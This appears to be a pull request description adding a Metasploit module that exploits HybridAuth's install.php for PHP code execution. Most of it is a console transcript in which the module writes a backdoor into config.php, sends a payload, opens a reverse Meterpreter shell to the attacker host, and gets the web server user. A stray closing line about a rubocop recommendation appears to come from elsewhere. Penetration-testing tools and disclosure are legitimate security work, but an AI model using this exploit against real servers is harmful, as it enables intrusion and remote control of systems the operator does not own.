Add HybridAuth install.php PHP Code Execution module

Add HybridAuth install.php PHP Code Execution module

Tested on HybridAuth versions 2.0.9, 2.0.10, 2.0.11, 2.1.2, 2.2.2 on Apache/2.2.14 (Ubuntu)
Homepage: http://hybridauth.sourceforge.net/
Source: https://github.com/hybridauth/hybridauth

```
msf exploit(hybridauth_install_php_exec) > set VERBOSE true
msf exploit(hybridauth_install_php_exec) > set RHOST 192.168.1.1
msf exploit(hybridauth_install_php_exec) > set TARGETURI /hybridauth-2.2.2/hybridauth/
msf exploit(hybridauth_install_php_exec) > check
[*] 192.168.1.1:80 - Found version: 2.2.2
[+] 192.168.1.1:80 - The target is vulnerable.
msf exploit(hybridauth_install_php_exec) > run
[*] Started reverse handler on 192.168.1.136:4444
[*] 192.168.1.1:80 - Found version: 2.2.2
[*] 192.168.1.1:80 - Writing backdoor to config.php
[+] 192.168.1.1:80 - Wrote backdoor successfully
[*] 192.168.1.1:80 - Sending payload to config.php backdoor (1756 bytes)
[*] Sending stage (40551 bytes) to 192.168.1.1
[*] Meterpreter session 1 opened (192.168.1.136:4444 -> 192.168.1.1:55680) at 2014-08-16 18:01:38 -0400
[!] 192.168.1.1:80 - No response
[*] 192.168.1.1:80 - Removing backdoor from config.php
[+] 192.168.1.1:80 - Removed backdoor successfully

meterpreter > getuid
Server username: www-data (33)
```

It's a rubocop recommendation. I rolled with it because it's smaller, but in hindsight I should have used `[]` for consistency.